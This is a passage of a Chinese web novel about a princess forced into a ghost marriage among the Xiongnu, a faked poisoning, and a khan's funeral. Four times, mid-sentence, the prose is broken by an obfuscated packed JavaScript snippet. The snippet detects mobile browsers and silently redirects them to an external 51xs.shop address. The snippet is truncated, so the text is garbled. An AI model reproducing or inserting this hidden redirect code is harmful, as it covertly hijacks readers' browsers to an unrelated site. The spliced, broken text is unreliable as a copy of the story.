然而,他母族势微,这一点让他在匈奴皇子当中,没有太多的话语权。 如果他在呼延烈心中有一定的地位,呼延烈肯定会给他找一个匈奴人中实力雄厚的岳丈,来助力他走向王位。 他有那么多的儿子,偏偏选了自己做和亲人选,这是在变相地放弃他。 更何况,呼延烈能够让蔺阳这种通敌叛国之人替他选择和亲对象,哪怕对方是一个只有八岁大的男童,他也无所谓。 凭什么这么对他呢? 所以,从一开始,在京城里被杀死的假呼延阑根本就不存在,进入京城之中的人,从始至终都只有他一人。 那一夜,染红闻行衣裳的大片大片血液,不过只是鸡血罢了。 至于尸体,去义庄里挑一个身形大体一样,死前容貌尽毁的尸体,只需要付点银子,便不是什么大问题。 自从他进入京城,闻行便主动找到了他,与他商议了一切。 这么做的目的,就是为了切掉原本极具话语权的蔺阳。 只要谋杀事件成立,他只需要找到一个合适的时机,便可以成功抓住蔺阳的把柄,让他甘心为自己所用。 此招虽效果颇好,却实实在在的是一步险棋。 为了避免被外人打断,闻行把他藏在城郊的一家面馆。都说灯下黑,最危险的地方往往是最安全的地方。 面馆这种地方,人来人往,愣是没有一个人发觉他是已经亡故的呼延阑。 也正是因为这段时间的空闲,让他查到了蔺阳的日志。 他被官府带走的时候,慌乱且匆忙,就算想起来要把这些东西放好,基本上也是胡乱塞作一通。 当他看到蔺阳日志上写满了对林恒暄的亏欠时,他便知道,真正的把柄来了。 从此以后,蔺阳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13423041|135928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只听从他的指挥,这与他手握这本日志存在很大关系。 后来林恒暄掉入井中,看似是蔺阳下的狠手,实则是一场有目的的预谋。 呼延阑不想这个芪朝的叛徒成为自己的绊脚石,于是逼着蔺阳在死和林恒暄之间做出抉择。 当初那个苟且偷生,被圣上株连九族的人,为了保全自己在这世界上唯一的血脉,选择背负这个罪名,重新接受死亡。 呼延阑当然不会觉得这种人有多么的高贵,甚至会觉得蔺阳可笑。 如果不是他当初苟且偷生,他的族人何至于受到牵连? 如果他当初以身殉国,家族门楣只会更加光耀,林恒暄作为一个以身殉国大将的儿子,怎么会流落到改名换姓、寄人篱下的地步? 蔺阳只不过是在各方逼迫下,才不得不选择用自己的死亡来结束这一切的罪孽。 他得到了自己荒唐的解脱,林恒暄再也不会担心自己罪臣之子的身份曝光,他可以一劳永逸,当好侯府的养子,而呼延阑,更是没有了之前的阻力。 所有人都会因为他的死亡,而得到更好的结局,这是他荒唐的一生所能尽到的最后价值。 于谁而言,这都是一本万利的事。 至于后来帮助闻行进入匈奴地界,也只不过是他们互惠互利的谋划罢了。 45. 阴婚 闻行为姜汾取下的血,不过一刻功夫,便被小帅端走了。 过了很久,王后都没有派人来要求重新取血,看来是被这碗鲜血骗了过去。 也好,这样也算是省了不少麻烦。 姜汾一直看着闻行的脸,心想给他易容的人简直是个百年难遇的奇才,闻行那么骨骼分明的一张脸,竟然能够被整成这个鬼样子。 全身上下,除了声音,没有一点像闻行的地方。 被姜汾一直盯着,闻行也知道她在想什么,就低着头不让她看。 他现在连自己都无法接受自己变成了这副模样,姜汾再看他,只会让他感到羞赧。 但他不会就这样故意将姜汾晾在一边,他小声地和姜汾讲述自己小时候遇到过的趣事。 姜汾有时候答上两句,大多数时间,都是静默地听闻行讲。 就这样安安稳稳地过了两天,七月十五的日子,赵峤与呼延阑的大婚终于来临。 姜汾曾经偷偷问过一次赵峤,“七月十五这个日子,在芪朝人眼里简直是大忌,你真的心甘情愿,真的不会介意吗?” “那又怎样?” 这是赵峤的回答,赵峤每每在面对呼延阑的示好时,都不会有任何让人误会的举止,好像更多,把呼延阑当做一个被迫捆绑在一起的陌生人来看待。 和呼延阑成亲,她最多的想法就是,就算死在异国他乡,这也是她的命数。 就算七月十五成婚又怎样,她以后的路,又不是单靠这一天两天的功夫就能决定的。 只要匈奴人弄不死她,她就会在广袤无垠的草原地界,扎根,生长,直至到老,她也不会自暴自弃。 她现在唯一要做的,便是在快点和呼延阑完婚,稳固自己在匈奴的地位,这样才能让自己获得最大化的利益。 芪朝女子,都是凤冠霞帔,娘家人不管千里万里都要送嫁的,她不一样,这里没有一个赵家人。 寻常女子出嫁时,母亲会亲自为她梳妆打扮。 而赵峤环顾四周,空无一人,宽敞的穹庐在此刻似乎更像一个无边无际的牢狱。 她穿上自己绣了一路的嫁衣,亲自为自己上妆,然后步履缓缓,走出了穹庐。 呼延阑早已在外面等候,明明他比赵峤要小很多,此刻却打扮成一副成熟而内敛的模样,让人看不出他乳臭未干的模样。 呼延阑朝她伸出手,赵峤看了一眼他手上分布的纹路,犹豫了一下,还是把手放到了他的手掌心里面。 周围人声鼎沸,这是他们国家这一代皇子的第一场亲事,许多部落的人都来看热闹。 赵峤从芪朝带来丰厚的嫁妆被摆在了极其显眼的位置,向这些其他部落的人昭示芪朝的强大。 她只是匆匆看了一眼,便收回自己的视线,重新把注意力投入到这场貌合神离的大婚之中。 很快,伴随着众人艳羡的目光,他们很快到达了一顶专门用于胡人商议大事的穹庐。 这里祭奠着他们胡人的列祖列宗,每一任皇子娶亲之时,都会在这里进行神圣的祭拜,向祖先郑重宣布自己的妻子。 呼延烈,王后,姜汾等人早早地便在这里等候。 赵峤面不改色地任由呼延阑牵着自己进去,但是在不经意之间,她还是注意到了角落里姜汾眼神中的担忧。 她有些不理解姜汾的意思,只能先走一步看一步,跟着呼延阑跪在蒲团上。 呼延烈与王后站在他们面前,就在他们要跪拜的时候,王后却制止了他们,并要求道:“取下一碗血,两人血液相融合,才是日后生活幸福美满的好兆头。” 从来到这里的第一天起,她就明里暗里地要求自己为她献出新鲜血液,仿佛不得到就不会罢休。 这里不仅仅只是他们几个人而已,各大部落的首领应邀约前来观看此次大婚,所有人的眼睛都盯着他们。 若有半分闪失,不仅仅是呼延阑受到的支持会减少,更多的是芪朝在这些边疆小部落树立的威信会大大削弱。 王后或许就是相中了这一点,才会有恃无恐地提出这一点无理的要求。 也确实,赵峤不好拒绝她。 万一日后她提出,这是胡人一直以来的传统,赵峤一个外姓人,来到这里不久,便不管不顾地打破了规矩,有损芪朝的脸面。 她所代表的不仅仅是自己,她不能肆意妄为地要干什么就干什么。 赵峤顺从地拿起桌上的小刀,割破了手心,放出血来,可她天生就贫血,没过多久,血液便流得不多了。 就在她准备继续拿刀子割出更大的伤口时,一只大手突然从她手中夺过了刀子。 她猛然间一抬头,原来是呼延阑。 只见他头也不抬,拿着刀子就给自己的左手划了一下,没过多久,便放出不少血来。 眼见着呼延阑主动护着赵峤,王后也不好再多做要求,见事情进展得差不多了,便让人收了碗和刀子,让他们继续流程。 呼延阑没说话,只是拿出先前藏在婚服里面的纱布,在空挡之时为赵峤割伤的地方裹好纱布。 赵峤则是一动不动,愣在那里没说一句话。 七月十五的日子,被取了鲜血,这本来便是不好的预兆,谁知接下来,王后直接往他们融合的血液当中洒一些奇怪的粉末,然后嘴里不停念叨着一些奇怪的话语。 眼前这个场景,不像是成婚,更像是…… “这不是配阴婚嘛……” 角落里传来一声很小的嘀咕,没人注意到底是谁说出了这句话,但赵峤也算是终于搞清楚了王后一直要她鲜血的理由。 眼见王后端起装着他们血液的碗,不断地念叨着那些术语,到最后,拿出来一撮用红绳系着的头发,用火石渐渐灼烧成灰烬,一丝也不落下,全部落入碗中。 这头发,左看右看不像是自己的头发,更像是匈奴男子的发尾一撮。 赵峤重新看了一眼呼延阑的发尾,看到他发尾整整齐齐,不曾有任何改变的样子,这倒是让赵峤真心感到奇怪了。 直到一切结束,王后作为祭司,向众人宣布:“今日,芪朝女子赵峤,与吾儿呼延蒙结为夫妻,纵为阴婚,白首不相离。” 此话一出,在场所有人无一不感到震惊。 姜汾更是没想到会是这样的结果,他们一直觉得圣上最后定下的日子有些奇怪,但没有一个人敢反驳。 她站在两位新人的一旁,看着呼延阑波澜不惊的样子,这才知道他自始至终都知道这件事。 他们骗了所有人,所有人都以为是呼延阑成婚,可没有一个人想到,匈奴和芪朝,对外宣布的从始至终都是匈奴大皇子和芪朝的公主联姻。 芪朝没有派出皇室真正的公主,匈奴也用了一招狸猫换太子,真正的大皇子早就去世,呼延阑只是代替他的哥哥,作为一个替身来娶赵峤。 难怪芪朝皇帝一直都迁就呼延阑选妻,对他所提的要求没有任何的不满。 人家只是要配个阴婚,只要不涉及真正皇室的人员,世家子弟的名门千金,随意他们怎么选。 只要这个人到了匈奴地界,就算知道了真相,山高路远,什么消息都传不回京城。 一旦这个人去了,就相当于在京城生活了十几年的踪迹会被全部抹灭,这个人,将会不复存在。 姜汾作为一个旁人,光是想到这些都会觉得窒息到根本无法喘气。 事发突然,她有些无措地看着呆愣在原地一动不动的赵峤,透过她眼神中的淡漠与无奈,姜汾看出了她更为糟糕的未来。 “怎么会这样呢?” 她们两个人似乎在同一时刻呢喃着这句话。 赵峤在听到与自己成亲的人根本不是什么呼延阑时,先是觉得自己没有休息好,导致自己听错了,可当她再三确认周围人的眼神时,这才不得不接受这个事实。 她赵峤,过了二十年金枝玉叶的生活,作为赵家娇惯着长大的小姐,竟然会被别人摆了一道,最后落得一个给人配阴婚的下场。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13426221|135928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麻木地扭过头看着本来一直很关切自己的呼延阑,看着他一直低着脑袋,不敢与赵峤对视的样子,一时觉得有些好笑。 再怎么打扮得成熟,也不过是为自己的怯懦找借口罢了,他的本质,不就是一个只为自己着想的小孩吗? 赵峤没有说一句话,在这样的情况下,她也说不出什么话来平复自己无法言喻的心情。 甚至到最后,一个婢女来搀扶她离开这里时,她还是用沉默来控诉着自己的不满。 她被婢女引到了一个全新的穹庐,这里所有的装饰再也没有了一丝一毫芪朝人生活的痕迹,婢女为她带来了一套衣服,放下来时候的手势,似乎是在让她换上。 这套衣服是用动物的皮制成的,一旦她穿上,将预示着她会彻底脱离了芪朝人的身份,此后一生,作为一个与死人配阴婚的寡妇,在这里慢慢地老死。 她拒绝了婢女的请求,一个人茶饭不思,只是呆愣愣地坐在床边。 原本的她,所有的打算都是建立在自己会和呼延阑成婚的前提下,阴婚这件事太过于突然,打乱了她所有的计划。 她需要一个安静的环境,她要重新想自己以后的生活,重新为自己谋划。 直至天色已晚,除了姜汾偷偷跑来给她塞东西吃,再也没有人来打扰过她。 半夜凉风习习,外面所有前来参加婚宴的部落首领齐聚一堂,载歌载舞,连片的灯火配合着今晚的圆月,照亮了本该充满阴翳的一夜。 赵峤缓缓躺在床上,姜汾送来的食物,她只是看了一眼便再也没有留神过,反倒是婢女送来的衣服,她是看了又看,实在不知道怎么办。 就在此时,外面突然传来一阵异响,考虑到今晚是七月十五,鬼门大开的日子,赵峤起身来,紧紧盯着穹庐的帘子。 很快,帘子被无情揭开,一道颀长的身形投下来一片人影,将赵峤整个人完全盖住。 她无力地抬起头来看了一眼,原来是那位假冒的新郎官——呼延阑, “小叔,来嫂子这里干嘛呢?” 赵峤冷漠地陈述这个事实,然后别过头去,不再看这个骗了自己的虚伪男人。 呼延阑想到了赵峤对自己的态度会十分冷漠,可真的到了那一刻,他又觉得心里十分不舒服。 他今天一直担忧着赵峤的心情,宴席一结束,他便匆忙赶过来看她。 面对赵峤话里话外的冷嘲热讽,他装作没听见,反而在赵峤面前放下了自己给她带来的东西。 是一些食物,但更偏芪朝人喜欢的口味。 他以为赵峤不为了他,至少为了自己的身体,也要吃上一点。 可赵峤依旧什么都没说,只是冷冷看了他一眼,便重新躺在了床上。 呼延阑承认,他在芪朝挑选新娘的时候,对赵峤有过一些赌气的成分在。 他想着,反正不过是给自己已经死去的大哥配阴婚,赵峤越对他不顺从,不将就,他便越要把这个人带回草原。 一个意气风发的人,被迫到异国他乡接受完全不同文化的洗礼,面对陌生的压迫,一定会折断自己原本高傲的脊骨吧。 最初的时候,呼延阑只是想整一下这个不顺从自己的姐姐,可真的到了后来,他才慢慢发现,他再也没有了最初这个龌龊的想法。 可覆水难收,既然木已成舟,何来重新来过的道理。 从京城到草原,遥遥路漫漫。 他动了不让赵峤受此苦的心思,可他真的带着她逃离了这一切吗? 他没有,他甚至都没有告诉她欺骗她的事实,为了以后能真正继承呼延烈的位子,他还是选择了牺牲赵峤。 可现在,事实摆在他们面前,真的成为一道无法逾越的鸿沟时,他突然感到后悔了。 如果当初带着赵峤逃离,他们是不是能够找到一处没有人认识他们的地方,过着平凡普通的烟火生活? 直到现在,他还想要努力一下。 “赵峤,以后我们不做叔嫂,我们做夫妻吧。” 46. 引决 夫妻,这两个字说来轻巧,真要做起来,只会让赵峤更加恶心。 “夫妻,你是让我一边喊你小叔子,一边屈服在你身下吗?” “如果我们生下了孩子,那我的儿女,是管你叫叔叔,还是父亲?” 面对赵峤有意地刁难,呼延阑一声不吭地守在她旁边,“再怎么样,先吃点东西吧,不要因为我这种混蛋,而损伤你的身体。” 赵峤知道,按照以往呼延阑的行事作风,若是自己不当着他的面吃下他送的东西,恐怕他只会在这里一动不动守一晚上。 “你真的是一个无可救药的混蛋。” 言尽于此,赵峤随意挑了点东西,当着呼延阑的面咬了下去。 呼延阑知道自己在这里再作停留,只会让赵峤糟糕的心情火上浇油,见赵峤饿了一天,终于肯吃下点东西了,他这才犹犹豫豫地离开了。 直到呼延阑的背影彻底融入穹庐外的黑夜,直到一点脚步声都没有再次出现,赵峤把含在口中难以下咽的食物原原本本地吐出来。 食不下咽,入寝难安,这就是她不远千里来到的地方,这就是她的结果。 她翻来覆去睡不着,睁着那双无神的眼睛直到天亮,听到外面牧民已经开始了放牧的吆喝,这时,她才慢慢坐了起来。 循着自己的记忆,她特地避开门外的守卫,踉踉跄跄回到原来的住处。 这里有她从京城带过来唯一的铜镜,她透过这面光滑无比的镜子,看到了自己穿着雍容华贵的婚服却仍然憔悴无比的样子。 眼底的乌黑似乎昭示着她的无能为力。 “我就知道你会回到这里。” 是姜汾的声音。 赵峤放下铜镜,麻木地转过身去,看着她,问:“第一次当媒人,便遇到这种事,你之后的这一辈子会心生安宁吗?” “为什么不会呢?” 很显然,她的回答出乎了赵峤的意料,在赵峤错愕的神情下,姜汾告诉她:“他们既然骗了我,那我便更有充分的理由告诉他们,我会回京城,而且是在带着你的情况之下。” 赵峤不解道:“我成亲的日子一过,你们返程这件事就必须得提上日程,你还能有什么办法让我回京城?” 况且,就算能够回去,她和亲的事情整个芪朝上上下下全都知道了,回去之后又能以什么身份在京城立足? 就算她不要脸面,她可以死皮赖脸地苟活,赵家呢?一个赓续百年之久的豪门望族,女儿承担了公主的名号,却私自回京,将民族大义和家族荣誉弃之脑后。 到时候,被戳脊梁骨的不只是她赵峤,天下人一人一口唾沫便能把他们赵家百年荣耀化为灰烬。 “可是……” 姜汾故意顿了一下,然后对赵峤说:“赵峤不过只是一个名字,一个身份而已,你既然不想继续在这里磋磨余生,何不舍弃这个身份,换一种方式生活呢?” 赵峤被姜汾的话震慑住了。 从小到大,每一个教导她的人都在竭尽可能地告诉她:你代表的不仅仅是你自己,更是整个赵家的脸面。 所以,无论她性格怎么样,都得为了赵家隐匿锋芒。 姜汾看起来不经意的话,却毫无疑问点醒了她这些年来陷入的桎梏。 她都已经完成了大婚仪式,在名义上,芪朝派过来的燕乐公主就已经完成了属于她的任务,接下来,无论她生老病死,就再也与芪朝无关了。 但是,这无疑而言是一条险径。 “那你要怎么帮我掩去身份呢?” 话音刚落,就在赵峤等待姜汾的回答时,王后派过来在她身边伺候的小女童又出现了。 见有了外人,她们便不再敢讨论刚刚的话题,只能生硬地扯到另外的事情上。 直到小女童走了,姜汾才若有所思地说道:“王后看来已经知道我们的想法了。” 小美刚刚掐着点走进来,甚至进行任何的表示,这不是往常的服侍,更像是王后在暗中地警示她们。 “接下来我们该怎么办?” 姜汾看着赵峤脸上浮现出焦急的神色,却别出心裁地笑了一下:“我们就是需要王后他们知道我们的想法,让他们在暗中推波助澜。” …… 翌日,天光大好,牛羊低语,草原上喜庆的标志都还未拆除,看起来便是一幅人文与自然的水乳交融。 呼延阑刚刚从王后那里得知了赵峤想要以死来脱身的消息,他急不可耐,快步走向赵峤居处。 “赵峤!” 掀开穹庐帘子走进去的那一刻,呼延阑本想直接告诉赵峤自己以后的打算,他觉得,只要他们两个人相互了解了对方的想法,就可以把这一道坎挨过去。 可当他甚至还没有走近赵峤的床铺时,他便看到了鲜红的血顺着新制的羊皮褥子缓缓流下来。 纯白色的褥子已经被鲜血染红,呼延阑急切地喊着赵峤的名字。 好不容易趁着赵峤最后迷离的意识,他听见了赵峤反复且小声的呢喃。 “叫姜汾过来。” 呼延阑不敢拖延,赶紧去叫来了姜汾,在通知姜汾这件事后,又马不停蹄地去找了匈奴中最有名望的医师。 等他再次返回赵峤的穹庐时,整个人已经气喘吁吁,但是他一刻都不敢停留,走到姜汾身边询问:“怎么样了?” 姜汾已经帮赵峤处理了伤口,暂时止住了鲜血,然后对呼延阑说:“伤口还好,没流多少血,其他的我也不懂,得等医师来了才能定夺。” 过了好一会儿,呼延阑亲自去请的医师才姗姗来迟。 呼延阑跑得太快,医师根本就追不上他。 见呼延阑急得像热锅上的蚂蚁,医师立即坐到了床边。 此时此刻,芪朝人最为顾忌的男女授受不亲已经不生效了。 医师赶紧为赵峤把脉,可只是片刻,他便重重地叹了口气,对呼延阑摇了摇头。 “这是什么意思?不是已经止住血了吗?” 呼延阑的质问在医师这里似乎成了无力地控诉。 医师再次摇了摇头,向呼延阑宣布一个恐怖却又不得不承认的事实,“大皇子妃中了一种毒,到目前为止,我所猜测的这种毒药无药可医。” 匈奴中的医师,大多还有另一重重要的身份,那便是制毒者。 他们能够制作出这个世界上最毒的毒药,让无数人死在这些毒药下。同时,他们也能戴上医 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13439574|135928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者仁心的想法,救助流离失所的难民,医治亲朋好友的疾病。 整个匈奴中最有名望的医师,代表了能够救赵峤的中坚力量,却在此刻对他说:“我也无法确认她中的是哪种毒药。” “查。” 呼延阑本想压制住自己的怒气,却还是在言语中控诉了自己的不满,“翻遍了你们的医书,无论如何,都要把这种毒查出来。” “如若查不出来,她什么时候闭眼,你便什么时候头颅落地。” 医师听完了呼延阑的话后,整个身体不由自主地战栗,他跪下来磕了两个响头,然后麻溜地滚了出去。 就在呼延阑看着赵峤苍白的脸色不知所措时,姜汾突然叫住了他。 “听闻王后才是整个胡人当中最令人敬仰的医师,到现在,即使做了王后,仍然坚持她的医术造诣。” “既然如此,为何不请求王后为赵峤治疗呢?” 呼延阑和王后的关系并不明朗,若是在芪朝,王后便是他名义上的母亲。 但是,呼延阑个性极其要强,面对这个母亲的态度,不知道算不算是充满敌意。 果然,呼延阑犹豫的表情证实了姜汾的部分猜测,由此可见,他们俩确实谈不上什么母慈子孝的感情。 “好。” 可下一瞬,呼延阑像是下了某种决定一般,对姜汾说:“我去和王后说。” 说罢,呼延阑便急匆匆走了出去。 “他倒是来的情真意切。” 闻行不紧不慢地走了进来。 他一直守在门口,确认了此时穹庐周围空无一人后,他才放心大胆地走了进来。 看着床上躺着一动不动的赵峤,他扭过头问姜汾:“你是不是药下的太多了?” 姜汾摇了摇头,“我只是把药瓶给了她,她自己一时心急,灌猛了。” 他们引出对方的第一步计策便是假死。 赵峤京城贵女,在受到欺骗,被人配了阴婚之后选择隐决,这事看起来再正常不过的事。 而呼延阑,经过这么多天的观察,他们觉得,这个人对赵峤的感情还是存在的,便由他来引出藏匿在背后的王后。 但他们也不傻,他们可不觉得,配阴婚这种事情,不经过呼延烈的同意,王后就敢斗胆实施。 他们现在最重要的目的,便是找出他们配阴婚的原因,再逐一击破。 没过多久,病弱得走路步履蹒跚的王后,跟着心急如焚的呼延烈来到了这里。 在姜汾和闻行的注视下,她拿出一叠银针,对着赵峤的眉心、胸膛等处各扎了几针。 随后,她拔出银针,看着银针直接变成了黑色,她才开始把脉。 待到一套望闻问切做完后,王后眸中神色变化了数次,这才对呼延阑说道:“是冰蚕毒。” “什么?!” 呼延阑的震惊让在场除了姜汾和闻行之外的人又悬起的心又被数万根荆棘裹紧。 冰蚕毒,在胡人地界里少有,且目前为止,能够克制这种毒的解药,需要的药引极其难寻。 试问,这天下有几人愿意献出自己的心头血? 克制这冰蚕毒最好的药引便是十八个人的心头热血。 47. 出殡 昨天才娶回的皇子妃,今天便被下了如此剧毒,无论是谁,都会忍不住多想。 而姜汾,利用的便是他们多想的这一天性,大臣们的胡思乱想一旦成立,那么一定会带入到其他重要的地方。 千里之堤,溃于蚁穴。 他们带来的芪朝人并不多,用武力解决问题只会是险境雪上加霜,从精神方面瓦解对方才是他们最终的目的。 果不其然,在听到赵峤身中此毒时,大家面面相觑,就是不敢多说些什么。 还是姜汾带着哭腔开始为赵峤鸣不平才打破了这一僵局。 “燕乐公主,你的命好苦啊!你怎么躺那里了?你们给俺一个说法!” 姜汾直接扑到了赵峤身边,声泪俱下的控诉着。 王后似乎是没想到事情会发展成如今的样子,一时不知道说些什么,只是沉默地看着姜汾。 知道呼延烈忙完了所有政务,匆匆赶来时,她才把情况重新给呼延烈叙述了一遍。 在听到自己的儿媳中毒后,他大手一挥,命令所有医术高超的医师全都来为她诊治,同时,派出了十几个人彻查这件事。 就在在场所有人以为他会很重视这件事的时候,呼延烈却话锋一转,让所有人全都退下。 连呼延阑都被包括在内。 见呼延阑依依不舍却还是要被迫离开的样子,姜汾眼睛眯了一下,好像看出了一些不同寻常来。 “接下来恐怕得麻烦你们多照顾她了。” 呼延烈平静地开口打断了姜汾游走的思绪,同时提醒了姜汾,虽然这是在匈奴地界,但伴君如伴虎的感觉还是不会消失。 这个人就跟芪朝皇帝一样,下的每一步棋都让你觉得意想不到,同时又捉摸不透他的意味何在。 “当然,大王,我自然会照顾好我们的公主殿下。” “那么……” 很显然,呼延烈真正的意图藏匿在后半句话里,“你们回京城的日子就需要重新商定了,再怎么都得等公主的情况稳定下来。” “是,大王。” 所有的话言尽于此,呼延烈说完便要离开。 但他离开之前却突然转过身来,意味深长地看了姜汾一眼。 可仔细一想,那眼神更像是略过了姜汾,直直地看着姜汾身后一言不发的闻行。 等到呼延烈彻底离开了,闻行才半是嘲弄半是讽刺地开口:“原来他还这么记恨我啊。” “怎么了?” 面对姜汾的询问,闻行解释道:“我十七岁的时候,是我师父的重点栽培对象,他为了拿捏我师父,想要生擒活捉我。” “终于,在一次我带兵偷袭他们阵营时,因为内鬼,我们不慎暴露了踪迹。他们抓住了机会,抓住了我。” “我师傅为了把我换回来,用当时辛苦捉到的人质换回了我。” 听到这里,姜汾还是没听明白,“且不说他为什么因为这件事恨你,就算恨上了,凭什么你师父随便交出一个人质就能把你换回来啊?” “那个人质是他发妻。” “等我被换回来之前,他发妻投毒杀了我师兄,同等作为报复,在我回来之后,我师父直接一剑射杀了她。” 挚爱之人好不容易回到了自己身边,却在两人彼此遥遥相望、无语凝噎之时,那人被一箭穿心。 甚至你全力奔赴向她,都没能听清她最后一颗呢喃的话语。 “不仅仅是如此,我师傅后来专门写信骂他三心二意,说他既然娶了发妻,还色令智昏娶了美艳的王后。” 原来如此,在现实和嘲讽的双重打击之下,呼延烈定是做梦都想手刃这两个仇人。 也难怪,和亲之前那场大战里,匈奴在俘虏了闻行师父后,会选择用那么极端的方式报复他们。 原来一切都有迹可循。 姜汾无法做出对这件事的任何评判,她只是一个局外人。 身在局内的呼延家族与闻行师父的恩怨情仇,是两个国家为了利益的大局之下,而引发的两方的争端。 若要硬说谁对谁错,恐怕得扯到天南地北。他们说到底,只是在各自的立场下做了他们认为正确的事情。 没有对错,只有争端。 姜汾也只能迎合着闻行的话说上两句。 天上云卷云舒,白云苍狗顺应海流融入黑夜,带来了繁星闪烁之下的人心惶惶。 本以为今晚不会再有人过来,没想到,没过多久,竟然迎来了一位不速之客。 本来姜汾正和闻行有说有笑,恍惚一看,竟有人掀开帘子走了进来。 他们立即禁了声音,再一细看,这才突然发现原来是呼延阑。 他的模样并不是十分精神,甚至而言,有些难言的憔悴。 但他走过来的步伐竟然是如此的坚定,直到姜汾开口询问他来所为何事时,他才顿住了脚步,问:“赵峤他不是真的中毒了吧。” 姜汾回想起下午呼延阑走出去那一刻的异常举动,这才忽然间明白,这件事没能瞒得住他。 但瞒不瞒得住又有什么关系呢? 闻行能够易容来到匈奴地界,本就少不了呼延阑的帮助,真要把他逼急了,保不齐他说出些什么胡话,倒是坏了他们的打算。 想到这里,姜汾还是不太愿意告诉他事实,只是反过来问他:“你是在用什么身份问出这话的呢?你和赵峤之间似乎也并没有这么亲密吧。” 用的是肯定的语气,足以戳痛他的心。 但是,呼延阑只是沉默了一下,便再次重复了他的问题。 见姜汾还是不太愿意回答,他便坚定的说:“如果可以,我愿意帮助你们扳倒我的父亲。” “之前的我,再怎么争都只是想要稳定下来,让父王把王位继承给我,但我忽略了一个事实,这条路最大的变数就在于父王的看中谁,愿意让谁上位,谁便是下一任王。” “但我明明可以走出另一条路,我要自己博出一条路,让我父王不得不承认我是下一代胡人的君王。” 听明白了呼延阑的话语,姜汾便知道自己可以借助呼延阑的帮助。 但是,为了确保万无一失,姜汾还是神秘兮兮地拿出了一样东西。 “这是什么?” “你的摇裤。” 知道呼延阑根本听不懂自己的话是什么意思,姜汾开玩笑见好就收,对他解释道:“这是能解赵峤身上的毒的唯一解药。” “你大可以以后变更初心,把我们共同商量的计划撇下,但是,解药只有这么一副,捏在我的手里,只要我想,我可以让赵峤跟我一起下地狱。” “同时呢……” 姜汾飞快从自己身上拿出了一颗难闻的药丸,然后趁呼延阑不注意,直接塞进了他的嘴里。 “这是芪朝名医,当今妙手回春堂堂主为我们研制的慢性毒药,只要你不听从我们的计划,我们便不会给你缓解这毒药的药,只要你背叛我们,我们也会要了你的命。” 面对姜汾满脸的质疑与不信任,呼延阑无奈地叹了口气,“至于这么防着我吗?好歹我们也认识了很久了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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大家胆战心惊的看着她,本以为她会像寻常女子一般扑到丈夫的棺材前哭喊着“你走了,丢下我一个人,我可怎么办才是啊”这种话,没想到她突然打开了羊皮水壶的塞子。 这时候,终于有人看出了她的不对劲了,想要上去阻拦她,奈何却是为时已晚。 只见王后直接把羊皮水壶里的东西全部撒在了呼延烈的棺材上,一丝一毫都没有落下。 再定睛一看,竟然是鲜红的血液。 此刻,原本黝黑的棺材,显出了一丝诡异的红色来,在本该耀眼的太阳下,竟然莫名的让人心中升起一抹寒意。 大家不由自主地想起了王后靠少女鲜血保持美丽容貌的传闻来,纷纷迈开脚步,离这位王后远一点。 “这样,大王就能过户展开了!” 王后如此这般嘶吼着,像一头无能的野兽。 可事情并没有按照她的想法发展。 呼延烈的棺材没有一丝一毫的动静,甚至连任何飞虫,都不愿意靠近。 “怎么会这样?” 面对她的疑问和不甘,呼延阑终于站了出来。 有了主心骨,终于有大臣敢说话了。 “被这么一搞,会彻底破坏大王墓地的风水?” 呼延阑顺水推舟,对那人说道:“那可有方法解决?” “只能按照百棺齐动当可有破解之法。” 48. 易容 所谓百棺齐动,其实便是准备一百口一模一样的棺材,在大王出殡之时,这一百口棺材分别被抬往不同的地方下葬。 它们所具备的礼仪、规格都是别无二致的,以至于,让他们自己的子孙都无法确认具体哪一口棺材埋葬了自己的父辈。 此法不到万不可以绝不可用。 因为自古以来,没有哪一个宗族不看重血统与传承,如果连子孙都找不到自己的坟墓,那么自己便没有了香火,那和断了血脉有什么区别? 所以,这么多年了,每一任君王都会准备一百口相同的棺材以备不时之需,但真正能用到的真是少之又少。 这一次,也真的是事出有因,才不得不出此下策。 各部落首领以为呼延阑听到他们的提议后会经过反反复复的斟酌后同意,没想到的是,他连想都不用想,直接一口拒绝了。 